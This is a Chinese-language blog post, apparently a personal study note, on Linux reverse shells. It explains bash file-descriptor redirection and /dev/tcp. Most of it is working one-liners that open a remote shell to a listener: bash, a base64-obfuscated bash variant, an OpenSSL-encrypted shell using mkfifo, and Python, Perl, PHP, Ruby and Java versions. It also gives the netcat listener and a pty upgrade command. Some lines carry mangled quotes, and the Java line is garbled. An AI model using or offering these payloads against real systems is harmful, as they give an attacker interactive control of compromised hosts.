Linux反弹shell学习

前言

当我们可以在远程Linux主机上执行任意命令或写入任意的数据到任意的文件的时候
通常会通过反弹一个shell 来控制远程主机

bash 反弹shell

Linux反弹shell使用这条命令,但反弹回来的shell是不可交互的
bash -i >& /dev/tcp/10.10.10.134/2333 0>&1
也可以{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjI3LzQ0NDQgMD4mMSA=}|{base64,-d}|{bash,-i}

客户端用netcat 进行接收
nc -lvvp 2333 监听2333端口
在这里插入图片描述

使用什么样的用户反弹的shell,就是当前用户的权限(只有拥有/bin/bash 的用户才能够使用该命令)

命令原理

首先 bash -i 是打开一个交互式的bash终端
/dev/tcp/ 是linux的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

那么>&0>&1 又是什么意思呢?

首先我们了解一下Linux文件描述符和重定向。
linux shell下常用的文件描述符是:
标准输入 (stdin) :代码为 0 ,使用 < 或 <<
标准输出 (stdout):代码为 1 ,使用 > 或 >>
标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>

然后发现 >&&> 两者一个意思,都是将标准错误输出合并到标准输出中。

如果我们执行一个命令,比如 ls -lh > test ,这样的话,test文件中只会保存我们执行这个命令正常的输出结果
而如果我们执行命令 ls -lh >& test 或者 ls -lh &> test ,这样的话,test文件中既会保存我们执行这个命令正常的结果,也会保存我们执行这个命令出错了的结果。

所以,当我们执行命令:bash -i >& /dev/tcp/10.10.10.134/2333 时,他会与10.10.10.134/2333号端口建立一个socket连接,把bash的标准输出和标准错误输出发给10.10.10.134/2333。也就是获得了他的shell,但是10.10.10.134却不能进行操作。

同理0>&10<&1 也是一个意思,都是将标准输入重定向到标准输出中。所以加入 0>&1 的话,就可以接受用户的输入了。

所以,结合上面的:bash -i >& /dev/tcp/10.10.10.134/2333 0>&1 命令是意思是:与10.10.10.134/2333端口建立一个socket连接,把bash的标准输出和标准错误输出发给10.10.10.134/2333。并且可以接受输入,也就是可以进行交互式操作

但是更多时候获得的shell并不是一个具有完整的交互shell

如果目标的主机有python环境,我们在获得反弹shell后,可以执行这个命令得到一个正常可交互的shell
python -c 'import pty;pty.spawn("/bin/bash")'
在这里插入图片描述

加密bash反弹shell

在攻击机上生成SSL证书的公钥私钥对,一路回车
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
在这里插入图片描述

然后用openssl监听反弹shell
openssl s_server -quiet -key key.pem -cert cert.pem -port 2333

目标机用openssl加密反弹shell的流量
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.10.136:4444 > /tmp/s;rm /tmp/s
在这里插入图片描述

其他反弹shell

同样是只有拥有/bin/bash的用户才能使用,使用什么样的用户反弹什么权限

Python
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.10.25”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);’

Perl
perl -e ‘use Socket;$i=“192.168.10.13”;$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’

PHP
php -r ‘$sock=fsockopen(“192.168.10.13”,8888);exec("/bin/sh -i <&3>&3 2>&3");’

Ruby
ruby -rsocket -e’f=TCPSocket.open(“192.168.10.13”,8888).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)’

Java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c",“exec 5<>/dev/tcp/192.168.10.13/8888;cat <&5 2=”" |="" while="" read="" line;="" do="" $line="">&5 >&5; done"] as String[]) p.waitFor()

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值